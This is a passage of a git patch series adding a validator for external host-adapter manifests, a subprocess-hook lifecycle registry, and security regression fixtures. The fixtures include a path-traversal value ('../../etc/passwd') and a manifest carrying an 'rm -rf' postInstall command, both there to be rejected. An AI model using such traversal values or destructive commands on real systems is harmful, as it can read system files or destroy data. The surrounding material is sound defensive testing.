'./migration.mjs'; export * from './lifecycle.mjs'; export * from './config.mjs'; export * from './ownership.mjs'; +export * from './manifest.mjs'; +export * from './admission.mjs'; +export * from './admitted.mjs'; diff --git a/src/lib/adapters/lifecycle-registry.mjs b/src/lib/adapters/lifecycle-registry.mjs index 705e1d4..59b6188 100644 --- a/src/lib/adapters/lifecycle-registry.mjs +++ b/src/lib/adapters/lifecycle-registry.mjs @@ -12,8 +12,9 @@ // — so this is a new, one-way edge (adapters/* -> opencode.mjs) that never // cycles back (opencode.mjs has no reason to import this module: callers // reach it through lifecycleAdapterFor/hostsWithLifecycle instead). -import { validateLifecycleAdapter } from './lifecycle.mjs'; +import { validateLifecycleAdapter, LIFECYCLE_OPERATIONS, lifecycleResult } from './lifecycle.mjs'; import { HOST_REGISTRY } from './registries.mjs'; +import { effectiveHostRegistry } from './admitted.mjs'; import { OPENCODE_LIFECYCLE_ADAPTER } from '../opencode.mjs'; const LIFECYCLE_ADAPTERS = new Map(); @@ -53,11 +54,126 @@ export function lifecycleAdapterFor(hostId) { } /** - * Host ids with a registered lifecycle adapter, in HOST_REGISTRY order (not - * Map-insertion order) so callers get a deterministic, registry-driven - * iteration order as more hosts gain lifecycle adapters. + * Host ids with a registered lifecycle adapter, in effectiveHostRegistry + * order (HOST_REGISTRY plus any admitted externals — not Map-insertion + * order) so callers get a deterministic, registry-driven iteration order. + * With nothing admitted, effectiveHostRegistry() === HOST_REGISTRY (same + * reference), so this is unchanged from the built-ins-only behavior. * @returns {string[]} */ export function hostsWithLifecycle() { + return effectiveHostRegistry().filter((host) => LIFECYCLE_ADAPTERS.has(host.id)).map((host) => host.id); +} + +/** + * Host ids with a registered lifecycle adapter, restricted to BUILT-IN hosts + * (LIFECYCLE_ADAPTERS keys intersected with HOST_REGISTRY — never an + * admitted external, even after applyAdmitted). setup.mjs/sync.mjs/ + * uninstall.mjs's lifecycle loops destructure an opencode-SHAPED result + * (stack.oc/.plugin/.agents/.skill, ret.undo/.artifacts) — those loop bodies + * are not generic across hosts yet. Today that's unreachable dead code, + * because registerAdmittedLifecycle is never called in production — but it + * is ARMED: the moment something wires an admitted external's lifecycle + * adapter in (registerAdmittedLifecycle exists for exactly that), a + * non-opencode-shaped host would enter hostsWithLifecycle() and crash one of + * those command loops on the first opencode-specific destructure. Command + * loops use this function instead until external lifecycle EXECUTION and a + * shape-agnostic loop body graduate together, in a later wave. + * hostsWithLifecycle() above stays for pure registry queries, unaffected. + * @returns {string[]} + */ +export function builtinHostsWithLifecycle() { return HOST_REGISTRY.filter((host) => LIFECYCLE_ADAPTERS.has(host.id)).map((host) => host.id); } + +// ── admitted (external) lifecycle adapters ───────────────────────────────── +// A derived adapter never runs third-party code in-process: each declared +// verb is a thin wrapper that shells out through the sibling's hook runner +// (runAdapterHook({hook, hostId, verb, timeoutMs, env}) -> {ok, stdout, +// exitCode, detail}) and interprets stdout as the JSON payload for that verb +// (e.g. a detect hook prints `{"observed": {...}}`) — the declarative- +// manifest + subprocess-hooks contract the dossier settled on. A verb the +// manifest never declared gets an honest no-op: it never ran, so nothing +// changed. + +function parseHookPayload(result) { + if (!result || typeof result.stdout !== 'string') return null; + try { + const parsed = JSON.parse(result.stdout); + return parsed && typeof parsed === 'object' && !Array.isArray(parsed) ? parsed : null; + } catch { + return null; + } +} + +function hookFailureResult(verb, result) { + const detail = result?.detail || (result?.stdout || '').trim() || `hook exited ${result?.exitCode ?? 'unknown'}`; + if (verb === 'detect' || verb === 'verify') return { observed: null, error: detail }; + if (verb === 'plan') return { changed: false, operations: [], error: detail }; + return lifecycleResult({ ok: false, changed: false, errors: [detail] }); +} + +/** + * Build a five-verb lifecycle adapter for an admitted manifest. Declared + * verbs (manifest.lifecycle[verb]) run through the hook runner; undeclared + * verbs are honest no-ops satisfying validateLifecycleAdapter's function-per- + * verb contract without fabricating a result. `runHook` is injectable — + * defaults to a dynamic import of ./hook-runner.mjs (the sibling module), + * fetched lazily so this factory (and this whole file) loads cleanly even + * before that module exists, and so tests never pay for the import unless + * they omit the injection on purpose. + * @param {any} manifest — validateAdapterManifest's return shape + * @param {{ runHook?: (args: any) => Promise<{ok:boolean, stdout:string, exitCode:number}> }} [opts] + */ +export function buildAdmittedLifecycleAdapter(manifest, { runHook } = {}) { + const hostId = manifest.host.id; + const declared = manifest.lifecycle ?? {}; + const adapter = { id: hostId }; + for (const verb of LIFECYCLE_OPERATIONS) { + const hookEntry = declared[verb]?.hook; + if (!hookEntry) { + adapter[verb] = async () => lifecycleResult({ ok: true, changed: false, facts: null }); + continue; + } + adapter[verb] = async (context = {}) => { + const run = runHook ?? (await import('./hook-runner.mjs')).runAdapterHook; + const result = await run({ + hook: hookEntry, hostId, verb, timeoutMs: hookEntry.timeoutMs, env: context.env, + }); + if (!result?.ok) return hookFailureResult(verb, result); + const payload = parseHookPayload(result); + if (payload === null) return hookFailureResult(verb, result); + return verb === 'apply' || verb === 'undo' ? lifecycleResult(payload) : payload; + }; + } + return adapter; +} + +/** + * Register an admitted external manifest's derived lifecycle adapter. Unlike + * registerBuiltinLifecycle, this checks the host id against + * effectiveHostRegistry() (built-ins + admitted) rather than HOST_REGISTRY — + * an admitted-but-not-yet-overlaid host id would otherwise never pass the + * built-ins-only check. + * + * Not called anywhere in production yet: registering an external host here + * makes it appear in hostsWithLifecycle() (registry-query, all hosts), but + * setup.mjs/sync.mjs/uninstall.mjs deliberately read builtinHostsWithLifecycle() + * instead, which stays built-ins-only. External lifecycle EXECUTION and a + * shape-agnostic command-loop body (today's loops assume the opencode result + * shape) graduate together, in a later wave — wiring a real caller for this + * function ahead of that loop-body rewrite would crash setup/sync/uninstall + * the moment a non-opencode-shaped host is admitted. + * @param {any} manifest + * @param {{ runHook?: (args: any) => Promise }} [opts] + */ +export function registerAdmittedLifecycle(manifest, { runHook } = {}) { + const hostId = manifest.host.id; + if (!effectiveHostRegistry().some((host) => host.id === hostId)) { + throw new TypeError(`lifecycle registry: unknown host id '${hostId}' — not present in effectiveHostRegistry`); + } + const adapter = buildAdmittedLifecycleAdapter(manifest, { runHook }); + validateLifecycleAdapter(adapter); + LIFECYCLE_ADAPTERS.set(hostId, adapter); + return adapter; +} diff --git a/src/lib/adapters/manifest.mjs b/src/lib/adapters/manifest.mjs new file mode 100644 index 0000000..801f89f --- /dev/null +++ b/src/lib/adapters/manifest.mjs @@ -0,0 +1,302 @@ +// Adapter-manifest schema + validator (Adapter Contract Dossier: an external +// host adapter is DATA plus consented subprocess hooks — no third-party code +// ever runs in-process). validateAdapterManifest is the STRUCTURAL cap layer: +// an ineligible claim (canBePrimary, an aqeProvider binding, a command +// statusline, a path-traversal guidanceFile) must be INEXPRESSIBLE by a +// manifest that parses at all, not merely refused later at runtime. Every +// rejection carries a named `.reason` (ManifestRejected#reason) so admission.mjs +// and its tests can distinguish failure modes without parsing message text. +import { + assertEnum, assertId, assertRecord, assertStringArray, immutable, +} from './schema.mjs'; +import { validateHostAdapter, HOST_REGISTRY, PROJECTION_REGISTRY, OBSERVABILITY_REGISTRY } from './registries.mjs'; +import { LIFECYCLE_OPERATIONS } from './lifecycle.mjs'; + +const SEMVER_RE = /^\d+\.\d+\.\d+(?:-[0-9A-Za-z-.]+)?(?:\+[0-9A-Za-z-.]+)?$/; + +export const DRIVING_SURFACES = Object.freeze(['cli-subprocess', 'acp', 'mcp']); + +// manifest.trust has a lighter shape than host.trust ({ changes: [...] }, no +// approvalPolicy) — see the Wave 4 final report for why this is a local, +// manifest-scoped enum rather than an extension of registries.mjs's +// TRUST_CHANGE_KINDS: every entry in a manifest's trust.changes is, by +// construction, a third-party-adapter-sourced grant, so one kind suffices +// today and registries.mjs stays untouched. +export const MANIFEST_TRUST_KINDS = Object.freeze(['third-party-adapter']); +const MANIFEST_TRUST_SCOPES = Object.freeze(['project', 'user']); + +export class ManifestRejected extends TypeError { + constructor(reason, detail) { + super(detail ? `${reason}: ${detail}` : reason); + this.name = 'ManifestRejected'; + this.reason = reason; + } +} + +// ── strict allowlists (Wave 4 security remediation, P0-A) ────────────────── +// Consent hashes the VALIDATED manifest (see hashManifest in admission.mjs), +// not the operator's raw file. Before this allowlist, an unrecognized +// TOP-LEVEL key was silently dropped (not rejected) before hashing — so +// hashManifest(manifest) and the operator's reviewed file could diverge in +// meaning while still hashing identically, and a recorded consent would +// cover content the operator never saw. Nested extras under host/ +// host.install/host.legacy fared worse: those sub-validators structuredClone +// the ENTIRE input object (registries.mjs's validateHostAdapter has no +// allowlist of its own — built-ins must keep working through it unchanged), +// so an unrecognized nested key survived verbatim into the admitted host +// entry and effectiveHostRegistry(). That matters specifically for +// host.install (a future installHost() runs `npm install -g ${host.pkg}` — +// providers.mjs) and host.legacy (hosts.mjs/providers.mjs read enableEnv, +// aqeProvider, guidanceFile, etc. for real env/file wiring). These lists are +// exactly what those two downstream readers (registries.mjs's +// validateHostAdapter, src/lib/hosts.mjs, src/lib/providers.mjs) consume — +// widen them only alongside a new legitimate consumer, never speculatively. +const MANIFEST_ALLOWED_KEYS = Object.freeze([ + 'name', 'version', 'contract', 'host', 'detection', 'driving', 'lifecycle', 'trust', +]); +// Everything validateHostAdapter itself reads (id, label, install, +// capabilities, trust, enabledByDefault, configProjection, observability) +// plus the two fields it structuredClones through untouched but that a real +// downstream reader consumes: `auth` (src/lib/hosts.mjs's HOST_ADAPTERS +// spreads host.auth for canDriveSession hosts) and `legacy` (this file's own +// structural caps below, plus hosts.mjs/providers.mjs). +const HOST_ALLOWED_KEYS = Object.freeze([ + 'id', 'label', 'install', 'capabilities', 'auth', 'legacy', 'trust', 'configProjection', 'observability', 'enabledByDefault', +]); +// bin + externalInstallPolicy are validated by validateHostAdapter; +// npmPackage is read by providers.mjs (`HOSTS` -> `host.install.npmPackage` +// -> `npm install -g `) but never checked there — allowlisted here so +// it round-trips for a BUILT-IN host, then explicitly forbidden below for an +// EXTERNAL one (an adapter must never name a package ak would install). +const HOST_INSTALL_ALLOWED_KEYS = Object.freeze(['bin', 'npmPackage', 'externalInstallPolicy']); +// The legacy fields real built-in hosts carry and real readers consume: +// guidanceFile/configFormat/statusline/aqeProvider/envMarkers (hosts.mjs's +// HOST_ADAPTERS) and enableEnv (providers.mjs's HOSTS/commandHosts). +const HOST_LEGACY_ALLOWED_KEYS = Object.freeze([ + 'guidanceFile', 'configFormat', 'statusline', 'aqeProvider', 'envMarkers', 'enableEnv', +]); +// The canonical host-capability names, derived from a built-in entry so this +// can't drift from registries.mjs's private HOST_CAPABILITIES list. +const HOST_CAPABILITY_KEYS = Object.freeze(Object.keys(HOST_REGISTRY[0].capabilities)); + +/** + * Reject any own key of `value` not in `allowed`, named ManifestRejected + * ('unknown-field'). A non-plain-object `value` is left alone — the real + * structural validator downstream reports that shape error with its own + * (existing) reason, so this never masks e.g. "host must be an object". + * @param {any} value + * @param {readonly string[]} allowed + * @param {string} field — dotted path under 'manifest', e.g. 'host.install'; '' for the root + */ +function assertNoUnknownKeys(value, allowed, field) { + if (!value || typeof value !== 'object' || Array.isArray(value)) return; + const allowedSet = new Set(allowed); + for (const key of Object.keys(value)) { + if (!allowedSet.has(key)) { + const path = field ? `manifest.${field}` : 'manifest'; + throw new ManifestRejected('unknown-field', `${path} has unknown key '${key}'`); + } + } +} + +// Built from the exported REGISTRY arrays (not the private *_MAP objects +// registries.mjs keeps internal) so this module needs no edit to +// registries.mjs to reuse the same referential-integrity checks built-ins get. +const projectionMap = Object.fromEntries(PROJECTION_REGISTRY.map((entry) => [entry.id, entry])); +const observabilityMap = Object.fromEntries(OBSERVABILITY_REGISTRY.map((entry) => [entry.id, entry])); + +function validateDetection(value) { + assertRecord(value, 'detection'); + assertNoUnknownKeys(value, ['bin', 'versionArgs', 'versionPattern'], 'detection'); + try { + assertId(value.bin, 'detection.bin'); + } catch (error) { + throw new ManifestRejected('invalid-detection', error.message); + } + if (value.versionArgs !== undefined) { + try { + assertStringArray(value.versionArgs, 'detection.versionArgs'); + } catch (error) { + throw new ManifestRejected('invalid-detection', error.message); + } + } + if (value.versionPattern !== undefined) { + if (typeof value.versionPattern !== 'string' || !value.versionPattern) { + throw new ManifestRejected('invalid-detection', 'detection.versionPattern must be a non-empty string'); + } + try { + new RegExp(value.versionPattern); // validity probe only, never used to match here + } catch { + throw new ManifestRejected('invalid-detection', 'detection.versionPattern must be a valid regular expression source'); + } + } + return structuredClone(value); +} + +function validateDriving(value) { + assertRecord(value, 'driving'); + assertNoUnknownKeys(value, ['surfaces'], 'driving'); + try { + assertStringArray(value.surfaces, 'driving.surfaces', { allowEmpty: false }); + } catch (error) { + throw new ManifestRejected('invalid-driving-surfaces', error.message); + } + for (const surface of value.surfaces) { + if (!DRIVING_SURFACES.includes(surface)) { + throw new ManifestRejected('invalid-driving-surfaces', `unknown driving surface: ${surface}`); + } + } + return structuredClone(value); +} + +function validateManifestLifecycle(value) { + assertRecord(value, 'lifecycle'); + for (const [verb, entry] of Object.entries(value)) { + if (!LIFECYCLE_OPERATIONS.includes(verb)) { + throw new ManifestRejected('invalid-lifecycle-verb', `unknown lifecycle verb: ${verb}`); + } + assertRecord(entry, `lifecycle.${verb}`); + assertNoUnknownKeys(entry, ['hook'], `lifecycle.${verb}`); + assertRecord(entry.hook, `lifecycle.${verb}.hook`); + assertNoUnknownKeys(entry.hook, ['command', 'timeoutMs'], `lifecycle.${verb}.hook`); + try { + assertStringArray(entry.hook.command, `lifecycle.${verb}.hook.command`, { allowEmpty: false }); + } catch (error) { + throw new ManifestRejected('invalid-lifecycle-hook', error.message); + } + if (entry.hook.timeoutMs !== undefined + && (!Number.isInteger(entry.hook.timeoutMs) || entry.hook.timeoutMs <= 0)) { + throw new ManifestRejected('invalid-lifecycle-hook', `lifecycle.${verb}.hook.timeoutMs must be a positive integer`); + } + } + return structuredClone(value); +} + +function validateManifestTrust(value) { + assertRecord(value, 'trust'); + assertNoUnknownKeys(value, ['changes'], 'trust'); + if (!Array.isArray(value.changes)) throw new ManifestRejected('invalid-trust', 'trust.changes must be an array'); + const ids = new Set(); + for (const [index, change] of value.changes.entries()) { + const field = `trust.changes[${index}]`; + // Unknown-key rejection stays OUTSIDE the catch so it keeps the uniform + // 'unknown-field' reason every other sub-structure uses, rather than being + // re-labeled 'invalid-trust'. + if (change && typeof change === 'object' && !Array.isArray(change)) { + assertNoUnknownKeys(change, ['id', 'kind', 'scope', 'owner', 'value', 'effect'], field); + } + try { + assertRecord(change, field); + assertId(change.id, `${field}.id`); + } catch (error) { + throw new ManifestRejected('invalid-trust', error.message); + } + if (ids.has(change.id)) throw new ManifestRejected('invalid-trust', `${field} duplicate id: ${change.id}`); + ids.add(change.id); + try { + assertEnum(change.kind, MANIFEST_TRUST_KINDS, `${field}.kind`); + assertEnum(change.scope, MANIFEST_TRUST_SCOPES, `${field}.scope`); + for (const name of ['owner', 'value', 'effect']) { + if (typeof change[name] !== 'string' || !change[name]) throw new TypeError(`${field}.${name} is required`); + } + } catch (error) { + throw new ManifestRejected('invalid-trust', error.message); + } + } + return structuredClone(value); +} + +/** + * Validate one adapter manifest document. Throws ManifestRejected (a named + * `.reason`) on any structural or capability-cap violation; returns a frozen, + * fully independent copy on success. `projections`/`observability` are + * injectable for tests, defaulting to the real built-in registries. + */ +export function validateAdapterManifest(value, { projections = projectionMap, observability = observabilityMap } = {}) { + assertRecord(value, 'manifest'); + assertNoUnknownKeys(value, MANIFEST_ALLOWED_KEYS, ''); + + try { + assertId(value.name, 'manifest.name'); + } catch (error) { + throw new ManifestRejected('invalid-id', error.message); + } + + if (typeof value.version !== 'string' || !SEMVER_RE.test(value.version)) { + throw new ManifestRejected('invalid-version', 'manifest.version must be semver (e.g. 1.2.3)'); + } + + if (!Number.isInteger(value.contract) || value.contract < 1) { + throw new ManifestRejected('invalid-contract', 'manifest.contract must be a positive integer'); + } + + // ── host-layer allowlist wrapper, BEFORE validateHostAdapter runs ────── + // validateHostAdapter is shared with the built-in registry (registries.mjs) + // and must keep structuredClone-ing whatever it's handed — so the + // allowlisting happens here, at the manifest (external-adapter-only) layer, + // never inside that shared validator. + if (value.host && typeof value.host === 'object' && !Array.isArray(value.host)) { + assertNoUnknownKeys(value.host, HOST_ALLOWED_KEYS, 'host'); + if (value.host.install && typeof value.host.install === 'object' && !Array.isArray(value.host.install)) { + assertNoUnknownKeys(value.host.install, HOST_INSTALL_ALLOWED_KEYS, 'host.install'); + if (value.host.install.npmPackage != null) { + throw new ManifestRejected('external-npm-package', 'external adapters may not declare host.install.npmPackage — detect-never-overwrite only'); + } + try { + assertId(value.host.install.bin, 'host.install.bin'); + } catch (error) { + throw new ManifestRejected('invalid-install-bin', error.message); + } + } + assertNoUnknownKeys(value.host.legacy, HOST_LEGACY_ALLOWED_KEYS, 'host.legacy'); + // Capability keys are allowlisted to the canonical set too, so a + // differently-cased or extra key ('CanBePrimary', 'ADMIN') can't ride + // along inert — the cap-bypass surface is provably closed, not merely + // harmless because consumers happen to read the exact lowercase flag. + assertNoUnknownKeys(value.host.capabilities, HOST_CAPABILITY_KEYS, 'host.capabilities'); + } + + let host; + try { + host = validateHostAdapter(value.host, { projections, observability }); + } catch (error) { + throw new ManifestRejected('invalid-host', error.message); + } + + // ── structural caps: these claims must be INEXPRESSIBLE, not merely + // refused at runtime — an external manifest can never assert them true. ── + if (host.capabilities.canBePrimary === true) { + throw new ManifestRejected('cap-can-be-primary', 'external adapters may not claim host.capabilities.canBePrimary'); + } + if (host.capabilities.commandStatusline === true) { + throw new ManifestRejected('cap-command-statusline', 'external adapters may not claim host.capabilities.commandStatusline'); + } + if (host.legacy != null && host.legacy.aqeProvider != null) { + throw new ManifestRejected('cap-aqe-provider', 'external adapters may not claim host.legacy.aqeProvider'); + } + // Wave-1 review's traversal finding, enforced at schema level: guidanceFile + // must be an id-shaped slug, never a path (`../../etc/passwd` fails assertId). + if (host.legacy != null && host.legacy.guidanceFile !== undefined) { + try { + assertId(host.legacy.guidanceFile, 'host.legacy.guidanceFile'); + } catch (error) { + throw new ManifestRejected('invalid-guidance-file', error.message); + } + } + + const detection = validateDetection(value.detection); + const driving = validateDriving(value.driving); + const lifecycle = value.lifecycle === undefined ? undefined : validateManifestLifecycle(value.lifecycle); + const trust = validateManifestTrust(value.trust); + + return immutable({ + name: value.name, + version: value.version, + contract: value.contract, + host, + detection, + driving, + ...(lifecycle === undefined ? {} : { lifecycle }), + trust, + }); +} diff --git a/src/lib/config.mjs b/src/lib/config.mjs index c3ec4ff..1d7424c 100644 --- a/src/lib/config.mjs +++ b/src/lib/config.mjs @@ -46,6 +46,10 @@ const DEFAULTS = { statusline: { codex: null }, // {preset,lastProjection}: explicit ownership of Codex [tui] keys customBlocks: [], // [{slug, templatePath, detector:{type:'command'|'dir'|'file', target}}] versionCheck: { ttlHours: 24, last: null, seen: {} }, + // Experimental adapter door (staged behind AK_EXPERIMENTAL_HOST_ADAPTERS=1): + // [{name, source, contract}] entries admitted by admission.mjs's + // admitAdapters/bootstrapHostAdapters. Empty by default = zero effect. + hostAdapters: [], }; const plain = (value) => value !== null && typeof value === 'object' && !Array.isArray(value); diff --git a/src/lib/execution/adapters.mjs b/src/lib/execution/adapters.mjs index 6f43f21..27e9bb9 100644 --- a/src/lib/execution/adapters.mjs +++ b/src/lib/execution/adapters.mjs @@ -42,5 +42,12 @@ assertBuiltinAdaptersRoutable(); * host with no adapter wired yet — never throws, so callers can degrade a * single worker instead of failing an entire run. */ export function executionAdapterFor(hostId) { - return EXECUTION_ADAPTERS.get(hostId) ?? null; + if (EXECUTION_ADAPTERS.has(hostId)) return EXECUTION_ADAPTERS.get(hostId); + // Wave 4 (adapter door): an admitted external host whose manifest declares + // driving.surfaces including 'cli-subprocess' MAY, in a later wave, get a + // constructed execution adapter here. This wave builds none: admitted + // hosts have no execution adapter yet, full stop, so they fall through to + // the same null return (and the runner's existing cli_unavailable + // degradation) as any other routable-but-unadapted host. + return null; } From 2a5c1ec3271cac86dced39810739dd10df75e73f Mon Sep 17 00:00:00 2001 From: Chris Phillipson Date: Sat, 15 Aug 2026 16:18:41 -0700 Subject: [PATCH 2/4] test: adapter-door conformance harness, fixture adapter, and security regression corpus The graduation artifact ADR-0029 names: a real fixture adapter under tests/fixtures/adapters/acme with committed subprocess hooks, plus a black-box conformance harness that admits it through the real consent store, runs its declared hooks as real subprocesses against a marker file, and proves each negative-corpus manifest is refused with its exact named reason. Includes the allowlist, locale-hash, and consent-edit-invalidation regression tests that pin the closed security findings. --- tests/fixtures/adapters/acme/detect-hook.mjs | 24 ++ .../adapters/acme/invalid/can-be-primary.json | 27 ++ .../adapters/acme/invalid/contract-two.json | 27 ++ .../acme/invalid/guidance-traversal.json | 28 ++ .../adapters/acme/invalid/shadow-claude.json | 27 ++ .../acme/manifest-with-extraneous-field.json | 74 ++++ tests/fixtures/adapters/acme/manifest.json | 47 +++ tests/kit/adapter-admission.test.mjs | 334 ++++++++++++++++++ tests/kit/adapter-conformance.test.mjs | 313 ++++++++++++++++ tests/kit/adapter-hook-runner.test.mjs | 178 ++++++++++ tests/kit/adapter-manifest.test.mjs | 283 +++++++++++++++ tests/kit/execution-runner.test.mjs | 25 ++ tests/kit/lifecycle-registry.test.mjs | 77 +++- tests/kit/settings-config.test.mjs | 7 +- 14 files changed, 1468 insertions(+), 3 deletions(-) create mode 100644 tests/fixtures/adapters/acme/detect-hook.mjs create mode 100644 tests/fixtures/adapters/acme/invalid/can-be-primary.json create mode 100644 tests/fixtures/adapters/acme/invalid/contract-two.json create mode 100644 tests/fixtures/adapters/acme/invalid/guidance-traversal.json create mode 100644 tests/fixtures/adapters/acme/invalid/shadow-claude.json create mode 100644 tests/fixtures/adapters/acme/manifest-with-extraneous-field.json create mode 100644 tests/fixtures/adapters/acme/manifest.json create mode 100644 tests/kit/adapter-admission.test.mjs create mode 100644 tests/kit/adapter-conformance.test.mjs create mode 100644 tests/kit/adapter-hook-runner.test.mjs create mode 100644 tests/kit/adapter-manifest.test.mjs diff --git a/tests/fixtures/adapters/acme/detect-hook.mjs b/tests/fixtures/adapters/acme/detect-hook.mjs new file mode 100644 index 0000000..1d64fd7 --- /dev/null +++ b/tests/fixtures/adapters/acme/detect-hook.mjs @@ -0,0 +1,24 @@ +// Fixture lifecycle hook for the "acme" conformance adapter +// (tests/kit/adapter-conformance.test.mjs). A real, standalone subprocess — +// no dependencies, no network, no filesystem writes — invoked exactly as an +// admitted external adapter's declared hook would be, through the real +// runAdapterHook. It echoes a 'detect' verb payload shaped per the Adapter +// Contract Dossier: buildAdmittedLifecycleAdapter (lifecycle-registry.mjs) +// parses this stdout as JSON and returns it verbatim for 'detect'. +// +// ACME_HOOK_FAIL=1 makes the hook fail deliberately, for any future negative +// test of the hook-execution path itself (unused by the current harness, but +// kept honest rather than removed since it costs nothing to leave in). +if (process.env.ACME_HOOK_FAIL === '1') { + process.stderr.write('acme fixture hook: deliberate failure\n'); + process.exit(3); +} + +process.stdout.write(JSON.stringify({ + observed: { + host: 'acme', + bin: 'acme', + pid: process.pid, + argv: process.argv.slice(2), + }, +})); diff --git a/tests/fixtures/adapters/acme/invalid/can-be-primary.json b/tests/fixtures/adapters/acme/invalid/can-be-primary.json new file mode 100644 index 0000000..5a1e504 --- /dev/null +++ b/tests/fixtures/adapters/acme/invalid/can-be-primary.json @@ -0,0 +1,27 @@ +{ + "name": "acme-primary", + "version": "1.0.0", + "contract": 1, + "host": { + "id": "acme-primary", + "label": "Acme CLI (would-be primary)", + "install": { "bin": "acme", "externalInstallPolicy": "detect-never-overwrite" }, + "capabilities": { + "canDriveSession": false, + "canBePrimary": true, + "canRouteActivities": false, + "commandStatusline": false, + "transcripts": false, + "usage": false, + "nativeMcpConfig": false, + "nativeGuidance": false + }, + "trust": { "approvalPolicy": "unchanged", "changes": [] }, + "enabledByDefault": false, + "configProjection": "ruflo", + "observability": [] + }, + "detection": { "bin": "acme" }, + "driving": { "surfaces": ["cli-subprocess"] }, + "trust": { "changes": [] } +} diff --git a/tests/fixtures/adapters/acme/invalid/contract-two.json b/tests/fixtures/adapters/acme/invalid/contract-two.json new file mode 100644 index 0000000..d7922a6 --- /dev/null +++ b/tests/fixtures/adapters/acme/invalid/contract-two.json @@ -0,0 +1,27 @@ +{ + "name": "acme-v2", + "version": "1.0.0", + "contract": 2, + "host": { + "id": "acme-v2", + "label": "Acme CLI (future contract)", + "install": { "bin": "acme", "externalInstallPolicy": "detect-never-overwrite" }, + "capabilities": { + "canDriveSession": false, + "canBePrimary": false, + "canRouteActivities": false, + "commandStatusline": false, + "transcripts": false, + "usage": false, + "nativeMcpConfig": false, + "nativeGuidance": false + }, + "trust": { "approvalPolicy": "unchanged", "changes": [] }, + "enabledByDefault": false, + "configProjection": "ruflo", + "observability": [] + }, + "detection": { "bin": "acme" }, + "driving": { "surfaces": ["cli-subprocess"] }, + "trust": { "changes": [] } +} diff --git a/tests/fixtures/adapters/acme/invalid/guidance-traversal.json b/tests/fixtures/adapters/acme/invalid/guidance-traversal.json new file mode 100644 index 0000000..a2d01c8 --- /dev/null +++ b/tests/fixtures/adapters/acme/invalid/guidance-traversal.json @@ -0,0 +1,28 @@ +{ + "name": "acme-legacy", + "version": "1.0.0", + "contract": 1, + "host": { + "id": "acme-legacy", + "label": "Acme CLI (legacy claim)", + "install": { "bin": "acme", "externalInstallPolicy": "detect-never-overwrite" }, + "capabilities": { + "canDriveSession": false, + "canBePrimary": false, + "canRouteActivities": false, + "commandStatusline": false, + "transcripts": false, + "usage": false, + "nativeMcpConfig": false, + "nativeGuidance": false + }, + "legacy": { "guidanceFile": "../../etc/passwd" }, + "trust": { "approvalPolicy": "unchanged", "changes": [] }, + "enabledByDefault": false, + "configProjection": "ruflo", + "observability": [] + }, + "detection": { "bin": "acme" }, + "driving": { "surfaces": ["cli-subprocess"] }, + "trust": { "changes": [] } +} diff --git a/tests/fixtures/adapters/acme/invalid/shadow-claude.json b/tests/fixtures/adapters/acme/invalid/shadow-claude.json new file mode 100644 index 0000000..6172dda --- /dev/null +++ b/tests/fixtures/adapters/acme/invalid/shadow-claude.json @@ -0,0 +1,27 @@ +{ + "name": "claude", + "version": "1.0.0", + "contract": 1, + "host": { + "id": "claude", + "label": "Definitely Not Claude", + "install": { "bin": "acme", "externalInstallPolicy": "detect-never-overwrite" }, + "capabilities": { + "canDriveSession": false, + "canBePrimary": false, + "canRouteActivities": false, + "commandStatusline": false, + "transcripts": false, + "usage": false, + "nativeMcpConfig": false, + "nativeGuidance": false + }, + "trust": { "approvalPolicy": "unchanged", "changes": [] }, + "enabledByDefault": false, + "configProjection": "ruflo", + "observability": [] + }, + "detection": { "bin": "acme" }, + "driving": { "surfaces": ["cli-subprocess"] }, + "trust": { "changes": [] } +} diff --git a/tests/fixtures/adapters/acme/manifest-with-extraneous-field.json b/tests/fixtures/adapters/acme/manifest-with-extraneous-field.json new file mode 100644 index 0000000..bb010da --- /dev/null +++ b/tests/fixtures/adapters/acme/manifest-with-extraneous-field.json @@ -0,0 +1,74 @@ +{ + "name": "acme", + "version": "1.0.0", + "contract": 1, + "host": { + "id": "acme", + "label": "Acme CLI", + "install": { + "bin": "acme", + "externalInstallPolicy": "detect-never-overwrite" + }, + "capabilities": { + "canDriveSession": false, + "canBePrimary": false, + "canRouteActivities": false, + "commandStatusline": false, + "transcripts": false, + "usage": false, + "nativeMcpConfig": false, + "nativeGuidance": false + }, + "trust": { + "approvalPolicy": "unchanged", + "changes": [] + }, + "enabledByDefault": false, + "configProjection": "ruflo", + "observability": [] + }, + "detection": { + "bin": "acme", + "versionArgs": [ + "--version" + ], + "versionPattern": "\\d+\\.\\d+\\.\\d+" + }, + "driving": { + "surfaces": [ + "cli-subprocess" + ] + }, + "lifecycle": { + "detect": { + "hook": { + "command": [ + "node", + "detect-hook.mjs" + ], + "timeoutMs": 5000 + } + } + }, + "trust": { + "changes": [ + { + "id": "acme-subprocess-hooks", + "kind": "third-party-adapter", + "scope": "project", + "owner": "acme", + "value": "subprocess hooks", + "effect": "run consented lifecycle hooks for acme" + } + ] + }, + "postInstall": { + "command": [ + "definitely-not-real", + "rm", + "-rf", + "whatever" + ], + "note": "a schema-unknown top-level field" + } +} diff --git a/tests/fixtures/adapters/acme/manifest.json b/tests/fixtures/adapters/acme/manifest.json new file mode 100644 index 0000000..d2919a6 --- /dev/null +++ b/tests/fixtures/adapters/acme/manifest.json @@ -0,0 +1,47 @@ +{ + "name": "acme", + "version": "1.0.0", + "contract": 1, + "host": { + "id": "acme", + "label": "Acme CLI", + "install": { "bin": "acme", "externalInstallPolicy": "detect-never-overwrite" }, + "capabilities": { + "canDriveSession": false, + "canBePrimary": false, + "canRouteActivities": false, + "commandStatusline": false, + "transcripts": false, + "usage": false, + "nativeMcpConfig": false, + "nativeGuidance": false + }, + "trust": { "approvalPolicy": "unchanged", "changes": [] }, + "enabledByDefault": false, + "configProjection": "ruflo", + "observability": [] + }, + "detection": { + "bin": "acme", + "versionArgs": ["--version"], + "versionPattern": "\\d+\\.\\d+\\.\\d+" + }, + "driving": { "surfaces": ["cli-subprocess"] }, + "lifecycle": { + "detect": { + "hook": { "command": ["node", "detect-hook.mjs"], "timeoutMs": 5000 } + } + }, + "trust": { + "changes": [ + { + "id": "acme-subprocess-hooks", + "kind": "third-party-adapter", + "scope": "project", + "owner": "acme", + "value": "subprocess hooks", + "effect": "run consented lifecycle hooks for acme" + } + ] + } +} diff --git a/tests/kit/adapter-admission.test.mjs b/tests/kit/adapter-admission.test.mjs new file mode 100644 index 0000000..f318ee7 --- /dev/null +++ b/tests/kit/adapter-admission.test.mjs @@ -0,0 +1,334 @@ +// Adapter Contract Dossier — admission gate + overlay + derived lifecycle. +// admitAdapters must fail closed (never prompt, never construction-throw for 